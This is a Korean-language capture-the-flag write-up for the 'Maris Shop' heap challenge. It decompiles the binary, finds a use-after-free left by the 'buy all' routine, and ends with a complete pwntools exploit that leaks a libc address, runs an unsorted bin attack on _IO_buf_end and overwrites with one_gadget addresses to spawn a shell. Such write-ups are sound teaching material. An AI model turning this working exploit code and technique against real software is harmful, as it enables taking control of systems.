Maris Shop이라는 문제를 어쩌다가 풀게되었다. 사진은 그냥 뭔가 이름이랑 어울려보여서 가지고 왔다.
보안기법은 위 사진과 같고 환경은 Ubuntu 16.04 이다. 바이너리 분석을 먼저 해보겠다. 크게 add, show, remove, buy가 있다.
Add
int add()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned int j; // [rsp+4h] [rbp-Ch]
unsigned __int64 idx; // [rsp+8h] [rbp-8h]
sub_1188();
printf("Which item?:");
idx = read_long();
if ( idx > 6 || !idx ) // idx=0 or idx>=7
return puts("No such item!");
for ( i = 0; i <= 0xF; ++i )
{
if ( cart[i] && !strcmp((const char *)cart[i] + 16, (const char *)random_list[idx - 1] + 16) )
{
printf("Add more?:");
*((_QWORD *)cart[i] + 1) += read_long();
return puts("Done!");
}
}
for ( j = 0; j <= 0xF && cart[j]; ++j )
;
if ( cart[j] )
return puts("Full!");
cart[j] = (unsigned int *)malloc(0x90uLL);
memcpy(cart[j], random_list[idx - 1], 0x90uLL);
printf("Amount?:");
*((_QWORD *)cart[j] + 1) = read_long();
return puts("Done!");
}
미리 정의된 30개의 품목중에서 랜덤으로 6개의 품목을 뽑아서 사용자에게 보여준다. 이미 장바구니에 있으면 품목을 더 추가할 것인지 물어보고, 장바구니에 없으면 새롭게 할당을 받아서 저장한다. 청크 구조는
가격(8byte), 수량(8byte), 이름 순이다. 최대 16개까지의 품목까지 추가 할 수 있는 것 같지만 아니다. 메모리를 보면 저 cart배열은 17개로 선언되어있다.
Remove
int remove()
{
unsigned int **v0; // rax
unsigned int i; // [rsp+8h] [rbp-8h]
unsigned int v3; // [rsp+Ch] [rbp-4h]
printf("Which item?:");
v3 = read_long();
if ( v3 <= 0xF )
{
if ( cart[v3] )
{
for ( i = v3; i <= 0xE && cart[i + 1]; ++i )
cart[i] = cart[i + 1];
v0 = cart;
cart[i] = 0LL;
}
else
{
LODWORD(v0) = puts("No such item!");
}
}
else
{
LODWORD(v0) = puts("No such item!");
}
return (int)v0;
}
remove 함수에서는 인덱스를 입력받아서 장바구니 리스트에서 삭제한다. free를 진행하는 것이 아니다.
Show
int show()
{
int v0; // eax
unsigned int *v1; // rax
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned int v4; // [rsp+Ch] [rbp-4h]
puts("\n1. Show");
puts("2. Show all");
printf("Your choice:");
v0 = read_long();
if ( v0 == 1 )
{
printf("Which item?:");
v4 = read_long();
if ( v4 <= 0xF )
{
if ( cart[v4] )
{
printf("Name: %s\n", cart[v4] + 4);
printf("Price: %d\n", *cart[v4]);
LODWORD(v1) = printf("Amount: %lld\n", *((_QWORD *)cart[v4] + 1));
}
else
{
LODWORD(v1) = puts("No such item!");
}
}
else
{
LODWORD(v1) = puts("No such item!");
}
}
else if ( v0 == 2 )
{
LODWORD(v1) = putchar(10);
for ( i = 0; i <= 0xF; ++i )
{
v1 = cart[i];
if ( v1 )
LODWORD(v1) = printf("%d: %s\n", i, cart[i] + 4);
}
}
else
{
LODWORD(v1) = puts("No such options!");
}
return (int)v1;
}
그냥 보여주는 기능. 뜬금없이 amount는 long long int로 보여주는 것 보면 leak하는 용도인 것 같다.
Buy
int buy()
{
int v0; // eax
int result; // eax
unsigned int i; // [rsp+8h] [rbp-18h]
int j; // [rsp+8h] [rbp-18h]
int v4; // [rsp+8h] [rbp-18h]
unsigned int k; // [rsp+Ch] [rbp-14h]
int v6; // [rsp+14h] [rbp-Ch]
unsigned int v7; // [rsp+1Ch] [rbp-4h]
puts("\n1. Buy");
puts("2. Buy all");
printf("Your choice:");
v0 = read_long();
if ( v0 == 1 )
{
printf("Which item?:");
v7 = read_long();
if ( v7 > 0xF )
return puts("No such item!");
if ( !cart[v7] )
return puts("No such item!");
if ( (int)(*cart[v7] * *((unsigned __int64 *)cart[v7] + 1)) > money )
return puts("You don't have enough money!");
money -= *cart[v7] * *((unsigned __int64 *)cart[v7] + 1);
free(cart[v7]);
for ( i = v7; i <= 0xE && cart[i + 1]; ++i )
cart[i] = cart[i + 1];
cart[i] = 0LL;
}
else if ( v0 == 2 )
{
v6 = money;
for ( j = 0; cart[j]; ++j )
{
if ( (unsigned int)money < (unsigned __int64)*cart[j] * *((_QWORD *)cart[j] + 1) )
{
puts("You don't have enough money!");
result = v6;
money = v6;
return result;
}
money -= *cart[j] * *((unsigned __int64 *)cart[j] + 1);
}
puts("Do you want to clear your cart?");
puts("1. Yes");
puts("2. No");
printf("Your choice:");
v4 = 0;
if ( (unsigned int)read_long() == 1 )
{
while ( cart[v4] )
free(cart[v4++]);
}
else
{
puts("Sorry, you must clear your cart");
}
for ( k = 0; k <= 0xE; ++k )
cart[k] = 0LL;
}
else
{
puts("No such options!");
}
return puts("Done!");
}
취약점이 발생한다. 만약 전체 품목을 사기로 하고 free를 시킨다면 다 free는 시키는데, 15번째 이후 인덱스들은 초기화를 하지 않아서 UAF가 가능하다.
취약점 정리 및 시나리오
unsorted bin 환경에서 UAF가 가능하고, 이 UAF 가 가능한 청크들의 BK를 조작 할 수 있다. 따라서 unsorted bin attack 을 통해서 IO_BUF_END를 조작하고 원가젯을 통해서 쉘을 딸 수 있을 것 같다.
그러나 약간의 문제가 있다. 청크들을 free할 때 전부 free를 해버려서 탑청크와 병합이 되는 것이다.
따라서 0번 인덱스를 미리 free 해준뒤 이를 재할당 받으면 15번 인덱스에 청크에서는 상단 부분을 alloc 받을 수 있게 해주었다.
from pwn import*
p=process('./Maris_shop')
one_gadget=[0x45226,0x4527a,0xf1207,0xf0364]
def add(name,cost,count) :
target=-1
while True :
p.recvuntil('Your choice:')
p.sendline('1')
for i in range(6) :
line=p.recvuntil('---- ')
if name in line :
price=int(p.recv(2))
if price==cost :
target=i+1
break
p.recvuntil('Which item?:')
if target==-1 :
p.sendline('20')
else :
p.sendline(str(target))
p.recvuntil('?:')
p.sendline(str(count))
return 0
def buy(index) :
p.recvuntil('Your choice:')
p.sendline('4')
p.recvuntil('choice:')
p.sendline(str(1))
p.recvuntil('item?:')
p.sendline(str(index))
def buy_all() :
p.recvuntil('Your choice:')
p.sendline('4')
p.recvuntil('choice:')
p.sendline(str(2))
p.recvuntil('cart?')
p.sendline(str(1))
add('Arkratium I',0x19,0)
add('Amputation Dagger',0x0e,0)
add('Demolition Bomb',0x0e,0)
add('Corrosion Bomb',0x0e,0)
add('Water Bomb',0x0e,0)
add('Whirlwind Bomb',0x0e,0)
add('Panacea',0x0e,0)
add('Critical Potion',0x0e,0)
add('Domination Potion',0x0e,0)
add('Mastery Potion',0x0e,0)
add('Specialization Potion',0x0e,0)
add('Hammer of Master',0x12,0)
add('Random Battle Item Box',0x2a,0)
add('Random Recuperation Item Box',0x2a,0)
add('Arkratium II',0x23,0)
add('4 level Food Box',0x0f,0)
buy(0)
add('Arkratium I',0x19,0)
buy_all()
add('Bolognese V',0x18,0)
add('Cake V',0x18,0)
buy(0)
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('item')
p.sendline('15')
p.recvuntil('Amount: ')
main_arena=int(p.recvline())
libc=main_arena-0x3c4b78
buf_end=main_arena-0x214
print('main_arena : '+hex(main_arena))
print(hex(libc))
add('Bolognese V',0x18,-0x258-0x10)
add('Selectable',72,0)
#add('Random Rune Box II',0x23,0)
pl='\x00'*5+p64(main_arena+0x1c18)
pl+=p64(0xffffffffffffffff)+p64(0)
pl+=p64(main_arena-0x1b8)+p64(0)*3
pl+=p64(0xffffffff)+p64(0)*2
pl+=p64(main_arena-0x1b8)
pl+=p64(0)*2
pl+=p64(libc+one_gadget[3])*16
p.sendline(pl)
p.interactive()